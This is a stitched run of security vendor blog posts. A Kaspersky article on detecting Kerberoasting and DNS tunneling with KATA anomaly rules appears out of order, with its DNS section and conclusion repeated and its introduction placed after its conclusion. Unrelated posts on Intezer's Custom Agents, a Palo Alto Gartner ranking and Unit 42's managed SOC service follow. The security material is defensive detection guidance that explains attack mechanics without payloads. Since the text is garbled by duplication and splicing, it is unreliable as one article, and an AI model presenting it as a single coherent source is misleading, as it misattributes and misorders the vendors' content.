Alert card for the NAD rule

From there, the analyst can navigate to the associated event, which provides a detailed breakdown of the anomaly alongside links to the affected hosts.

NAD rule triggering event

If needed, the analyst can view and export the network sessions associated with the alert. These sessions can be accessed directly from the alert or within the event card via the “Show related” drop-down list.

Network sessions that triggered the rule

Within an individual session, the analyst can inspect standard details including interacting parties, data volume sent and received, and other fields and metrics. On the “Attributes” tab, the analyst can review the specific events recorded within that session.

Network session attributes

Detecting DNS tunneling in KATA

How DNS tunnels work

DNS tunneling is a technique used to transmit data or control malware through firewalls by encoding information within DNS protocol requests and responses. Instead of performing standard name resolution, an infected host transmits data encoded within subdomain strings and receives response data via DNS records. This covert channel can be leveraged for C2 communication, bypassing network restrictions, or data exfiltration.

One method of implementing DNS tunneling involves utilizing TXT records. In this scenario, the client issues DNS TXT record queries for domain names where the right-hand portion of the domain name (the higher-level domains) remains static, while the left-hand portion (the lowest-level subdomain) carries encoded or encrypted data sent from the client to the server. Under this structure, a sample domain name might look like ZFcABQAIBA[.]testlab[.]local, where testlab[.]local serves as the static right-hand portion and ZFcABQAIBA represents the variable left-hand string containing the data transmitted by the client.

In response to these queries, the server delivers commands or messages inside the data field of the TXT response. Because the right-hand portion of the domain name remains static, all client queries are consistently routed to the same C2 server, even if the intermediate DNS resolvers targeted by the client change.

DNS query (left) and corresponding response (right) during DNS tunneling via TXT records

It is rather challenging to identify this malicious activity within DNS traffic without generating false positives. DNS traffic is permitted across almost all corporate networks, long domain names occur routinely in both internal and external environments, and TXT records are frequently leveraged for legitimate operational purposes.

Suspicion is established through a combination of indicators: a high volume of long, seemingly random subdomains associated with a single top-level domain, high request frequency, an unusually large number of unique names, non-standard record types, and significant data transfer volumes within a single DNS session.

By analyzing DNS traffic for threat detection, we identified three primary fields of interest:

• Requested DNS name
• DNS record type
• TXT data field within the response

As shown in the image above, all of these fields are present in the DNS response. In a real-world scenario, a tunnel of this nature will transmit a volume of data that is abnormally large compared to standard DNS traffic.

Data exchange within a DNS tunnel

Thus, in the context of DNS tunneling, a network anomaly occurs when 1) a single query source host sends data embedded in the variable left-hand portion of domain names (rrname) while 2) maintaining a static right-hand portion (rrname) and 3) receives DNS server responses containing TXT records (rtype) with varying data (rdata), while 4) the total volume of data transmitted in the left-hand portion of the requested domain name together with the TXT data response (rdata + rrname) exceeds a predefined threshold.

Request and response events from DNS session attributes

When detecting DNS tunneling, the following nuances must be considered:

• A single tunnel will not be constrained to a single DNS session; data may be transmitted across multiple sessions with the DNS server, or each individual request may occur within a separate session.
• A client DNS query can contain more than one requested domain name.
• A DNS response can contain multiple TXT records, as well as a large volume of various non-TXT record types.
• Traffic between DNS servers must be excluded, as it duplicates client requests and can trigger false positives.
• Although the factors outlined above (an abnormally large or frequently changing left-hand subdomain alongside a static right-hand domain, or an unusually long string in a TXT record) serve as key indicators of DNS tunneling, they can also occur within legitimate network traffic.

These challenges create a high likelihood of false positives when detecting DNS tunneling, particularly when using IDS-based tools. Writing an accurate IDS rule for this type of activity is practically impossible. With rare exceptions, DNS tunneling tools possess static markers that can be leveraged for signature-based detection. However, in the absence of such markers, signature methods fail to deliver high detection accuracy without generating an overwhelming number of false positives. In these cases, a comprehensive approach combining multiple correlated indicators is essential to improve overall detection quality.

DNS tunneling detection logic

To add a rule for detecting this anomaly, you can use the prebuilt “DNS data tunneling via TXT records” template in the new rule creation interface. The “SQL-specific query” tab will display the list of variables used:

• user_DNS_servers: a list of internal DNS server addresses within the infrastructure, required for the rule to function correctly and minimize potential false positives
• excl_sip: IP addresses to be excluded from the scope of the rule (you can specify a single address, a subnet mask, or a list containing both addresses and subnets)
• traffic_size: the threshold value for the total volume of data (in bytes) transmitted through the tunnel

Variables used in the “DNS data tunneling via TXT records” rule

The detection logic for this network anomaly is structured as follows:

1. From network sessions using the DNS protocol within the timeframe defined by the rule’s search depth, select only those sessions containing at least one TXT response.
   Additionally:
   • The IP address that initiated the session must not be excluded in the excl_sip variable.
   • The source IP address that initiated the session must not belong to the internal DNS servers listed in the user_DNS_servers variable.
   • The DNS names requested by the client must not be excluded within the rule.
2. Split qualifying DNS sessions into individual log lines, each corresponding to an individual request or response. Retain only DNS responses containing TXT data.
3. Extract DNS names and their associated TXT data from these DNS responses. Retain only unique values.
4. Group all resulting records by the session’s source IP address, aggregating all unique DNS names and TXT data blocks.
5. Generate an alert if the combined size (in bytes) of the unique DNS names and TXT response data for a single IP address within the search depth window exceeds the specified threshold (the traffic_size parameter).
6. Within the event regeneration window, group under the initial alert all subsequent alerts associated with the same client IP address. This avoids creating duplicate event records by incrementing the aggregation counter (Total appearances).

“DNS data tunneling via TXT records” rule triggering event

The primary value of NAD technology in this scenario lies in noise reduction – by minimizing false positives – and faster investigation times. A DNS tunnel rarely presents itself as a single, blatantly malicious request. Instead, it leaves behind a behavioral footprint: repetition, length, domain structure, unusual record types, numerous subdomains branching off an unchanging root domain, and anomalous host behavior. KATA consolidates these indicators into a single alert, presenting the analyst with an actionable attack hypothesis rather than a set of fragmented DNS events.

Prebuilt rules for detecting network anomalies in KATA

KATA users should note that Network Anomaly Detection (NAD) rules are not enabled by default. Rules must be added manually using the procedure described in the preceding sections. This design ensures that analysts can fine-tune rules to fit specific network infrastructures using variables.

Analysts have three ways of creating new rules:

1. Adding a rule from a prebuilt template and adjusting custom variables. In this case, the rule is classified as a system rule.
2. Adding a rule from a prebuilt template and modifying its underlying SQL query (which requires enabling the “Unlock all template values” option) to create a custom rule based on the template. When modified this way, the rule transitions from a system rule to a custom rule.
3. Authoring a custom rule from scratch, which requires a basic understanding of ClickHouse SQL queries and familiarity with the product documentation.

As of this publication, the product ships with 59 prebuilt NAD rule templates (with additional templates delivered via product updates). KATA supports running up to 200 active rules simultaneously.

Prebuilt rules are divided into six categories:

• Large Data Transfers: tracking abnormally large network sessions across various protocols during regular hours, at night, or over weekends.
• Suspicious Connections: detecting suspicious connections that may indicate hazardous activity, shadow IT, evasion of attack detection mechanisms, and other threats.
• Domain Attacks: detecting classic attacks targeting domain network infrastructures using offensive tooling.
• Reconnaissance Activity: identifying suspicious activity within domain protocol sessions (Kerberos, DCE/RPC, LDAP, DNS) resembling domain reconnaissance.
• Connections to Suspicious Resources: detects actions that violate security policies, potential data exfiltration beyond the perimeter, and unauthorized internet access originating from secured network segments.
• C2 Communication: identifies network sessions characteristic of a potential C2 communication channel or tunnel.

The table below lists the rule templates for detecting network anomalies in KATA:

Conclusion

The examples of Kerberoasting and DNS tunneling clearly demonstrate why modern security defenses cannot rely solely on looking for known signatures and indicators of compromise. Both attack techniques abuse protocols that operate inside corporate networks every day. At the individual event level, they may look like legitimate activity, yet in behavioral context, they stand out as clear indicators of compromise.

NAD directly addresses this gap. Instead of relying purely on signature matches across Kerberos or DNS traffic, it highlights deviations from established baselines: who initiated the activity, how frequently it recurred, which services or domains were targeted, and why that matters for a specific infrastructure.

As a result, analysts gain a clear, actionable starting point for investigation. This capability is especially valuable for spotting the signs of APT group activity, which runs stealthily and is designed to blend in with legitimate operations. The importance of this capability will only grow: as attack techniques evolve, detecting suspicious activity at its earliest stages – before it escalates into critical service compromise or a data breach – becomes increasingly vital.

Introduction

Once the attacker has breached the corporate network, subsequent stages of the attack often involve leveraging standard domain infrastructure protocols: using Kerberos, running DNS queries, accessing internal services, opening network shares, and other common networking actions. Because this activity is virtually indistinguishable from legitimate network traffic, it is extremely difficult to detect it with traditional network attack detection tools.
Kerberoasting and DNS tunneling have long ceased to be exotic techniques. They are becoming standard methods in modern attacks because they allow attackers to execute critical compromise stages while remaining undetected by traditional security tools. A clear example of this trend is seen in latest campaigns, employing both Kerberoasting and DNS tunneling.

Traditional network security tools perform well when the attack features a distinct and identifiable indicator: a characteristic query string, a known malicious traffic pattern, or the source code of an already discovered exploit. While this approach to threat detection remains effective, it cannot always be applied to discovering network attacks that blend seamlessly with legitimate traffic inside a corporate network.

Instead of searching for explicit indicators of attack, Network Anomaly Detection (NAD) analyzes all traffic for suspicious artifacts that deviate from the host’s typical network activity. Within Kaspersky’s solution portfolio, this technology is implemented specifically in the Kaspersky Anti Targeted Attack (KATA) platform.

The system analyzes network traffic data (DNS, DCE/RPC, Kerberos and other packets) and extracts key parameters used to identify anomalous behavior. This approach enables searching for attacks on domain controllers, signs of traffic tunneling and exfiltration, C2 communications, and other scenarios that may point to compromise of network infrastructure.

However, Network Anomaly Detection is not built on a single, universal set of indicators. Each attack scenario employs tailored detection models that account for the specifics of the corresponding network protocol, typical host behavior, and characteristic deviations from that baseline. This article examines two practical examples – detecting Kerberoasting and DNS tunneling – to demonstrate how these principles are implemented in KATA’s NAD rules and why this approach proves more effective than traditional signature-based analysis.

Kerberoasting attack detection by KATA

Why standard tools have a hard time detecting Kerberoasting

The Kerberoasting attack leverages the standard operational logic of the Kerberos protocol. The attacker identifies service accounts configured with a Service Principal Name (SPN), requests a Ticket-Granting Service (TGS) ticket for them, and attempts to crack the password offline using a dictionary attack against the retrieved ticket. If the password is weak or hasn’t been changed in a long time, the adversary can bruteforce it to get it in cleartext. Subsequently, these compromised credentials can be leveraged for both vertical and horizontal movement across the network.

The essence of a Kerberoasting attack is that an adversary possessing a compromised low-privileged account and a valid Ticket-Granting Ticket (TGT) for that account can request TGS tickets with weakened encryption for service accounts with SPNs. Crucially, it doesn’t matter whether the compromised account actually holds access permissions for those services. Having obtained these tickets, the attacker can then take them offline and bruteforce the service account’s password by trying to decrypt the corresponding ticket locally, without generating any network activity. As the encryption key is based on the password hash, the adversary can guess the password upon finding the correct key.

The attacker’s objective is to find a service account that has a simple password. Most likely, this will be an account created manually by the administrators of the infrastructure or a service. This is precisely why attackers are not interested in system service accounts with SPNs (such as CIFS/fileserver.company.local); these are generated automatically and feature highly complex passwords that are impossible to bruteforce.

We should note that the TGS ticket requests made by attackers are identical to standard, legitimate requests. Every domain naturally exhibits a high volume of Kerberos traffic. Therein lies the primary challenge of detecting Kerberoasting: legitimate service ticket requests (TGS-REQ) are indistinguishable from those issued by attackers. Consequently, the primary detection method relies on correlating indirect indicators rather than signature matching. Key indicators include an anomalous request source (atypical host or user account), a surge in requested SPNs within a short time window, attempts to obtain service tickets for sensitive or privileged service accounts, and off-hour timing or unusual request volume when benchmarked against the historical profile of both the user and the host.

Most of these indicators can be detected using NAD technology, which helps analysts cut through high volumes of Kerberos traffic to establish a concrete hypothesis: who initiated the Kerberoasting attack, which service accounts are at risk, and why this activity deviates from the baseline.

In the context of this attack, the network anomaly stems from a single host – likely using a single user account (cname) – receiving TGS tickets ("msg_type": "KRB_TGS_REP") for numerous unique services with SPNs (sname) within a short timeframe. These service accounts are non-system accounts.

Example of a TGS-REQ – TGS-REP event pair from network session attributes

To detect this anomaly, the NAD rule titled “Signs of a Kerberoasting attack” implements the following logic:

1. From Kerberos network sessions during the search depth period, select only those with a successful Kerberos TGS-REP response, subject to the following conditions:
   • The IP address that initiated the session must not be excluded in the excl_sip variable.
   • The requesting client name (cname) must not be included in the excluded users list (excl_users variable).
   • The SPN (sname) must not be excluded within the rule. System SPNs are omitted from detection logic because they exist across most corporate environments and hold no interest for adversaries in this attack vector; including them in the total count of unique SPNs could lead to predefined threshold being exceeded, triggering false positives.
2. Extract the cname (the name of the client requesting the TGS-REQ) and sname (SPN itself) from these qualifying sessions.
3. Group the sessions by the source IP address and client account name (cname), while aggregating sessions with unique SPNs.
4. Generate an alert if a single IP address using a single client account receives TGS-REP responses for N unique SPN names within the specified search depth window, where N equals or exceeds the threshold variable count_spns.
5. Within the event regeneration window, group under the initial alert all subsequent alerts associated with the same client IP address. This avoids creating duplicate event records by incrementing the aggregation counter (Total appearances).

We should note that this type of logic cannot be implemented using IDS signatures. Consider creating a Suricata rule designed to detect Kerberos TGS-REP packets. To minimize false positives, we’ll exclude system SPNs (which carry highly complex passwords) and apply a threshold for the number of responses a single client can receive. However, such a rule cannot evaluate the uniqueness of the requested SPNs; it can only track packet counts. As a result, this signature would produce a high volume of false positives because any domain naturally generates large amounts of identical legitimate TGS-REP messages.

Furthermore, adding exclusions and tuning thresholds to fit your specific infrastructure environments is significantly more practical when managed through user variables in the interface rather than directly modifying the underlying structure of the IDS rule itself.

Creating a Network Anomaly Detection rule

Network Anomaly Detection (NAD) rules are written as SQL queries executed against KATA’s ClickHouse database. Below, we demonstrate how to add and deploy a rule.

To begin working with NAD rules, navigate to the “Custom rules” section of the interface and select “Intrusion detection”. Under the “Network Anomaly Detection” tab, you can create a new rule.

The Network Anomaly Detection page UI

When adding a new rule, an analyst can select an appropriate rule template from the prebuilt set supplied with product updates. They can also manually modify the rule added from the template (converting it to a custom rule while keeping the original template intact) or author a rule from scratch using the provided guide.

Upon selecting a template, the analyst can review the rule description and either adjust or leave the default values for the following settings:

• Search depth (the lookback window over which the SQL query will run)
• Schedule (the execution frequency for running the query against the specified search depth)
• Event regeneration period (the timeframe during which identical alerts will be aggregated into a single record rather than displayed as distinct events)

UI for creating a new NAD rule

To ensure the rule functions correctly, we recommend navigating to the “SQL-specific query” tab before deployment to review the variables used within the rule – a description for each variable is available by hovering over the question mark icon.

The variables are lists of IP addresses, dates, strings or numeric values that define the network infrastructure – such as domain controllers, DNS servers, time ranges, critical segments, and other entities. This allows you to tailor each rule to different network environments and incorporate specific infrastructure characteristics without modifying the underlying logic.

In our example, using variables allows you to adjust the “Signs of a Kerberoasting attack” rule as follows without altering the underlying SQL query:

• Exclude the source IP address of the TGS-REQ requests from the scope of detection logic (you can specify a single address, a subnet mask, or a dictionary containing addresses and subnets) as well as the requesting client account (accepts a single value or a dictionary with multiple values).
• Adjust the threshold value required to trigger an alert based on the number of unique SPNs in the TGS-REQ messages.

Query contents and variables used in the new rule

On this same page, you can test if the rule is functional prior to saving it.

Rule execution test results

When this rule triggers, an NDR:NAD alert is generated. In the alert card, the analyst can review basic information: IP addresses, ports, and participating network endpoints.

Alert card for the NAD rule

From there, the analyst can navigate to the associated event, which provides a detailed breakdown of the anomaly alongside links to the affected hosts.

NAD rule triggering event

If needed, the analyst can view and export the network sessions associated with the alert. These sessions can be accessed directly from the alert or within the event card via the “Show related” drop-down list.

Network sessions that triggered the rule

Within an individual session, the analyst can inspect standard details including interacting parties, data volume sent and received, and other fields and metrics. On the “Attributes” tab, the analyst can review the specific events recorded within that session.

Network session attributes

Detecting DNS tunneling in KATA

How DNS tunnels work

DNS tunneling is a technique used to transmit data or control malware through firewalls by encoding information within DNS protocol requests and responses. Instead of performing standard name resolution, an infected host transmits data encoded within subdomain strings and receives response data via DNS records. This covert channel can be leveraged for C2 communication, bypassing network restrictions, or data exfiltration.

One method of implementing DNS tunneling involves utilizing TXT records. In this scenario, the client issues DNS TXT record queries for domain names where the right-hand portion of the domain name (the higher-level domains) remains static, while the left-hand portion (the lowest-level subdomain) carries encoded or encrypted data sent from the client to the server. Under this structure, a sample domain name might look like ZFcABQAIBA[.]testlab[.]local, where testlab[.]local serves as the static right-hand portion and ZFcABQAIBA represents the variable left-hand string containing the data transmitted by the client.

In response to these queries, the server delivers commands or messages inside the data field of the TXT response. Because the right-hand portion of the domain name remains static, all client queries are consistently routed to the same C2 server, even if the intermediate DNS resolvers targeted by the client change.

DNS query (left) and corresponding response (right) during DNS tunneling via TXT records

It is rather challenging to identify this malicious activity within DNS traffic without generating false positives. DNS traffic is permitted across almost all corporate networks, long domain names occur routinely in both internal and external environments, and TXT records are frequently leveraged for legitimate operational purposes.

Suspicion is established through a combination of indicators: a high volume of long, seemingly random subdomains associated with a single top-level domain, high request frequency, an unusually large number of unique names, non-standard record types, and significant data transfer volumes within a single DNS session.

By analyzing DNS traffic for threat detection, we identified three primary fields of interest:

• Requested DNS name
• DNS record type
• TXT data field within the response

As shown in the image above, all of these fields are present in the DNS response. In a real-world scenario, a tunnel of this nature will transmit a volume of data that is abnormally large compared to standard DNS traffic.

Data exchange within a DNS tunnel

Thus, in the context of DNS tunneling, a network anomaly occurs when 1) a single query source host sends data embedded in the variable left-hand portion of domain names (rrname) while 2) maintaining a static right-hand portion (rrname) and 3) receives DNS server responses containing TXT records (rtype) with varying data (rdata), while 4) the total volume of data transmitted in the left-hand portion of the requested domain name together with the TXT data response (rdata + rrname) exceeds a predefined threshold.

Request and response events from DNS session attributes

When detecting DNS tunneling, the following nuances must be considered:

• A single tunnel will not be constrained to a single DNS session; data may be transmitted across multiple sessions with the DNS server, or each individual request may occur within a separate session.
• A client DNS query can contain more than one requested domain name.
• A DNS response can contain multiple TXT records, as well as a large volume of various non-TXT record types.
• Traffic between DNS servers must be excluded, as it duplicates client requests and can trigger false positives.
• Although the factors outlined above (an abnormally large or frequently changing left-hand subdomain alongside a static right-hand domain, or an unusually long string in a TXT record) serve as key indicators of DNS tunneling, they can also occur within legitimate network traffic.

These challenges create a high likelihood of false positives when detecting DNS tunneling, particularly when using IDS-based tools. Writing an accurate IDS rule for this type of activity is practically impossible. With rare exceptions, DNS tunneling tools possess static markers that can be leveraged for signature-based detection. However, in the absence of such markers, signature methods fail to deliver high detection accuracy without generating an overwhelming number of false positives. In these cases, a comprehensive approach combining multiple correlated indicators is essential to improve overall detection quality.

DNS tunneling detection logic

To add a rule for detecting this anomaly, you can use the prebuilt “DNS data tunneling via TXT records” template in the new rule creation interface. The “SQL-specific query” tab will display the list of variables used:

• user_DNS_servers: a list of internal DNS server addresses within the infrastructure, required for the rule to function correctly and minimize potential false positives
• excl_sip: IP addresses to be excluded from the scope of the rule (you can specify a single address, a subnet mask, or a list containing both addresses and subnets)
• traffic_size: the threshold value for the total volume of data (in bytes) transmitted through the tunnel

Variables used in the “DNS data tunneling via TXT records” rule

The detection logic for this network anomaly is structured as follows:

1. From network sessions using the DNS protocol within the timeframe defined by the rule’s search depth, select only those sessions containing at least one TXT response.
   Additionally:
   • The IP address that initiated the session must not be excluded in the excl_sip variable.
   • The source IP address that initiated the session must not belong to the internal DNS servers listed in the user_DNS_servers variable.
   • The DNS names requested by the client must not be excluded within the rule.
2. Split qualifying DNS sessions into individual log lines, each corresponding to an individual request or response. Retain only DNS responses containing TXT data.
3. Extract DNS names and their associated TXT data from these DNS responses. Retain only unique values.
4. Group all resulting records by the session’s source IP address, aggregating all unique DNS names and TXT data blocks.
5. Generate an alert if the combined size (in bytes) of the unique DNS names and TXT response data for a single IP address within the search depth window exceeds the specified threshold (the traffic_size parameter).
6. Within the event regeneration window, group under the initial alert all subsequent alerts associated with the same client IP address. This avoids creating duplicate event records by incrementing the aggregation counter (Total appearances).

“DNS data tunneling via TXT records” rule triggering event

The primary value of NAD technology in this scenario lies in noise reduction – by minimizing false positives – and faster investigation times. A DNS tunnel rarely presents itself as a single, blatantly malicious request. Instead, it leaves behind a behavioral footprint: repetition, length, domain structure, unusual record types, numerous subdomains branching off an unchanging root domain, and anomalous host behavior. KATA consolidates these indicators into a single alert, presenting the analyst with an actionable attack hypothesis rather than a set of fragmented DNS events.

Prebuilt rules for detecting network anomalies in KATA

KATA users should note that Network Anomaly Detection (NAD) rules are not enabled by default. Rules must be added manually using the procedure described in the preceding sections. This design ensures that analysts can fine-tune rules to fit specific network infrastructures using variables.

Analysts have three ways of creating new rules:

1. Adding a rule from a prebuilt template and adjusting custom variables. In this case, the rule is classified as a system rule.
2. Adding a rule from a prebuilt template and modifying its underlying SQL query (which requires enabling the “Unlock all template values” option) to create a custom rule based on the template. When modified this way, the rule transitions from a system rule to a custom rule.
3. Authoring a custom rule from scratch, which requires a basic understanding of ClickHouse SQL queries and familiarity with the product documentation.

As of this publication, the product ships with 59 prebuilt NAD rule templates (with additional templates delivered via product updates). KATA supports running up to 200 active rules simultaneously.

Prebuilt rules are divided into six categories:

• Large Data Transfers: tracking abnormally large network sessions across various protocols during regular hours, at night, or over weekends.
• Suspicious Connections: detecting suspicious connections that may indicate hazardous activity, shadow IT, evasion of attack detection mechanisms, and other threats.
• Domain Attacks: detecting classic attacks targeting domain network infrastructures using offensive tooling.
• Reconnaissance Activity: identifying suspicious activity within domain protocol sessions (Kerberos, DCE/RPC, LDAP, DNS) resembling domain reconnaissance.
• Connections to Suspicious Resources: detects actions that violate security policies, potential data exfiltration beyond the perimeter, and unauthorized internet access originating from secured network segments.
• C2 Communication: identifies network sessions characteristic of a potential C2 communication channel or tunnel.

The table below lists the rule templates for detecting network anomalies in KATA:

Conclusion

The examples of Kerberoasting and DNS tunneling clearly demonstrate why modern security defenses cannot rely solely on looking for known signatures and indicators of compromise. Both attack techniques abuse protocols that operate inside corporate networks every day. At the individual event level, they may look like legitimate activity, yet in behavioral context, they stand out as clear indicators of compromise.

NAD directly addresses this gap. Instead of relying purely on signature matches across Kerberos or DNS traffic, it highlights deviations from established baselines: who initiated the activity, how frequently it recurred, which services or domains were targeted, and why that matters for a specific infrastructure.

As a result, analysts gain a clear, actionable starting point for investigation. This capability is especially valuable for spotting the signs of APT group activity, which runs stealthily and is designed to blend in with legitimate operations. The importance of this capability will only grow: as attack techniques evolve, detecting suspicious activity at its earliest stages – before it escalates into critical service compromise or a data breach – becomes increasingly vital.

Intezer already investigates 100% of your alerts and escalates fewer than 2% of them for human review. That part is handled.

The work does not stop there, though. Every SOC has its own routines wrapped around the investigation itself. The incident reports written in a particular format, the closure notes, the shift handoffs, the rules that decide who picks up which case. When we looked at how teams actually use AI Chat, our in-product investigation agent, more than a third of those conversations turned out to be the same repetitive tasks asked again and again. The same summaries. The same reports. The same closure notes.

Intezer’s AI SOC already runs agents around the clock to triage, investigate, and respond to your alerts on their own. Custom Agents is the next step. Now you can shape how that AI SOC works for your team. Add your own agents and automations on top of the ones Intezer runs out of the box, take more of the manual work off your analysts, and tailor the whole thing to the way your team actually operates.

Meet Custom Agents

Intezer ships with a set of agents and automations that handle triage, investigation, and response from day one. Custom Agents lets you build your own on top of them.

An agent is made up of three components:

1. Your instructions
2. A trigger
3. The tools it is allowed to use

You describe what you want done in plain language, choose when it should run, and pick what it can touch. It then runs on its own inside your Intezer environment, on the same engine that powers our investigation Agent (Chat).

Build an agent in minutes

1. Tell it what to do, in plain language. Write the instructions the way you would brief a new analyst. “Every morning, review the open case queue, close the clear false positives per our playbook, and leave a handoff note on the rest.” That is an agent.

2. Choose when it runs. Three trigger types cover most workflows:

• On a schedule: every day, week, or month. For example, a 9:00 report.
• On an event: the moment a case is closed, a verdict is set, or an alert meets your conditions.
• On demand: run it yourself, or call it from the API.

3. Give it the right tools. Agents work across your whole stack which includes Intezer’s built-in toolset plus the SIEM, EDR, and identity tools you have already connected, including CrowdStrike, SentinelOne, Splunk, Microsoft Sentinel, and Entra ID. They do more than summarize. They take action by updating, commenting on, closing cases, and emailing a finished report to your team.

See it in action

Take an Incident Report Writer agent illustrated above. We deliberately never shipped a single “Generate report” button, because no two teams want the same report. One team wants an executive summary up top, another wants the full timeline, another has a compliance format it has to match. So instead of a button, you put your format into the agent’s instructions, and it writes every report that way, every time.

The agent triggers on every escalated case an analyst has confirmed as a real threat. It reads the case, writes the report in your format, and emails it to your team’s inbox. The analyst makes the call. The paperwork writes itself.

That’s one agent. The point of Custom Agents is that you decide what they are.

Nothing runs blind

Security teams do not trust black boxes, and they are right not to. Custom Agents is built so you can see and control everything an agent does.

• Every run is visible. You see the agent’s reasoning, every tool call and its result, and the final output. Each run is logged, and you can export it.
• Test safely with Dry Run. Dry Run executes the agent for real but mocks every write action, so you can watch exactly what it would do before it does anything. Iterate on the instructions until it is right, then turn it on.
• Guardrails are built in. Action tools are limited by design. An agent can only email active members of your organization, for example. It cannot reach outside your walls.
• You stay in control. You choose which tools an agent gets, you review its output, and you can switch it off in one click.

This is how everything at Intezer works. AI executes, humans supervise. Custom Agents lets you decide what it executes.

What security teams are already building with it

We opened Custom Agents to a small group of alpha customers, and the best part has been watching what they build. Alongside the Incident Report Writer above, a few of the agents already running in production:

• SLA Monitor (daily): a morning email listing every escalated case that has been sitting too long, so nothing critical slips past its deadline.

• Tuning Advisor (weekly): takes the alerts your detection tools fired that Intezer judged to be false positives and turns them into suppression recommendations for the week ahead.

• Threat Hunter (weekly): proactively sweeps your environment for the latest threats instead of waiting for an alert to fire. It pulls the new malware families, campaigns, and indicators Intezer is tracking, queries your connected SIEM and EDR for matches across historical data, and opens a case for anything it surfaces.

• Smart Triage and Routing: for organizations with multiple entities, subsidiaries, and stakeholders, the agent reads each case and works out which team should own it, using your own escalation rules. It either leaves a comment with the routing, or assigns the case to the right analyst directly. Analysts stop digging through a separate list or knowledge base to figure out where a case goes.

• End of Shift Handoff: built to match what a real SOC handover looks like. At the end of a shift the agent compiles the open items, the escalations still waiting for attention, the shift’s statistics, and any open system events or configuration issues, then writes the handoff so the next shift starts with the full picture.

The AI SOC, built for your team

We are on a mission to build the AI SOC the industry has been promised but never delivered. One that does the work and earns the trust to do it. It runs autonomously, around the clock. It works alongside the people who supervise it, not over their heads. And it is never a black box. You can always open it up, question what it did, and change how it behaves.

Custom Agents is central to that vision. Triage, investigation, and response come built in. Everything particular to how your team operates, you build yourself. Because the strongest security teams have always run on their own playbooks, their own logic, and their own standards, and an AI SOC should be no different. It should not ship the same to everyone. No two SOCs are the same, and no two should be.

That is the point of Custom Agents. You decide what they are.

Available now

Custom Agents is available now in beta to Intezer customers, and it is free during the beta period. This is the moment to build, test, and tell us what you want it to do next.

See what your SOC could hand off. Book a demo.

If you are already an Intezer customer, you will find it under Custom Agents in the top menu.

The post Introducing Custom Agents: Automate your SOC, your way appeared first on Intezer.

I am incredibly proud to share that Palo Alto Networks has been named a Leader in the 2026 Gartner^® Magic Quadrant for Endpoint Protection Platforms for the fourth consecutive year. For us, this recognition is a testament to our team's relentless vision as we continue to define endpoint defense—from the pioneer days of XDR to the new frontier of agentic AI.

We believe our repeated recognition as a Leader is built on a single, uncompromising commitment to our customers and partners: empowering organizations with reduced overhead, rapid threat response, a strengthened security posture, and the resilient protection required to close the most critical security gaps. We are now leading the shift into the agentic era. While AI agents significantly boost enterprise productivity, they also introduce novel attack surfaces that legacy EDR tools are unable to protect. As the pioneer of XDR, we are committed to defining the next generation of cybersecurity by securing this new frontier.

Cortex^® XDR is helping customers:

• Secure Agentic AI with Koi: Gain unprecedented visibility, guardrails, and control over AI agents and agentic tools before they become a liability.
• Stop the Unseen: Leverage battle-tested prevention powered by behavioral analytics, and industry-leading automation and response.
• Unify Your Defense: Consolidate your endpoint and workspace security with a proven, four-time industry Leader.

We are incredibly proud to be recognized as a Leader once again, an acknowledgement that belongs just as much to our customers and partners as it does to us. Your trust, feedback, and real-world challenges keep us sharp and dictate our roadmap. At the end of the day, our continued leadership is built on one core promise: make each day more secure than the day before.

To get the full story and a comprehensive analysis of the endpoint security market, I invite you to read the 2026 Gartner Magic Quadrant report.

Get Your Complimentary Copy of the Report

Gartner, Magic Quadrant for Endpoint Protection Platforms, By Deepak Mishra, Evgeny Mirolyubov, Nikul Patel, May 29, 2026

Gartner and Magic Quadrant are trademarks of Gartner, Inc. and/or its affiliates. Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose.

The post A 4X Gartner Magic Quadrant for EPP Leader. Built for the Agentic Era. appeared first on Palo Alto Networks Blog.

24/7 Managed SOC Built for Tomorrow's Threats

The window for defense has collapsed, and most SOCs weren’t built for the speed of today’s attacks. According to the 2026 Unit 42^® Global Incident Response Report, some end-to-end attacks now unfold in under an hour. Attacks that used to take days or weeks now happen in minutes.

Most traditional SOC models are trapped in a cycle of alert overload, fragmented tools and limited engineering capacity that slow investigations and delay response. Traditional SIEM and MDR models were designed to react to alerts. They were not designed to continuously improve detections, correlations and response with threats that move at machine speed. Over time, that gap between attacker speed and defender capability keeps widening, and it’s exactly why we built Unit 42 Managed XSIAM 2.0 (MSIAM).

Today marks the availability of the next evolution of our managed SOC offering – one that reflects how modern security operations must run in today’s threat landscape. MSIAM 2.0 is built on Cortex XSIAM^®, Palo Alto Networks SOC transformation platform, and operated by Unit 42 analysts, threat hunters, responders and SOC engineers who handle the most complex incidents in the world. With this solution, Unit 42 provides organizations with a 24/7 managed SOC that delivers continuous detection, investigation and full-cycle remediation across the entire attack surface while improving operations over time.

We don’t just manage alerts. Unit 42 continuously engineers detections, correlations and response playbooks within XSIAM, refining them as attacker behavior evolves. This ongoing engineering ensures defenses improve over time, driven by real-world incidents and frontline threat intelligence, not static rules that quickly fall behind.

Why Managed XSIAM 2.0 Is Different

Elite SOC on Day One

We want SOC teams up and running as fast as possible. Experts lead onboarding, data mapping and configuration, and then your managed SOC team takes responsibility for operating and optimizing XSIAM on a day-to-day basis. The result is a SOC that improves over time without adding operational burden.

Every Threat Exposed

Unit 42 goes beyond reactive monitoring with continuous, proactive threat hunting across the entire attack surface. When a new threat is found in the wild, we produce threat impact reports that show how those techniques apply to each customer’s environment. We then translate those insights into custom detections and automated response actions, while also monitoring and investigating the correlation rules your team creates. Both the global threat intelligence and your unique use cases are backed by our 24/7 analysis, closing gaps quickly and strengthening defenses over time.

We also now support both native and third-party EDR telemetry, so organizations can benefit from Unit 42 expertise and Cortex^® AI-driven analytics, regardless of the security technologies they use today. This enables customers to receive the strongest possible managed defense now, while creating a natural, low-friction path toward deeper platform consolidation as their environment evolves.

Machine-Speed Response

When incidents escalate, we don’t just hand you a ticket; we take ownership. Collaborating with your team, we establish pre-authorized workflows to execute immediate responses across your entire environment, from endpoints and firewalls to identity and cloud. We pair the platform’s native speed with expert oversight. By validating threat context and business impact, every response action is precise and safe, giving you the confidence to unleash full-cycle remediation. This allows MSIAM 2.0 to move seamlessly from detection to resolution with both velocity and precision.

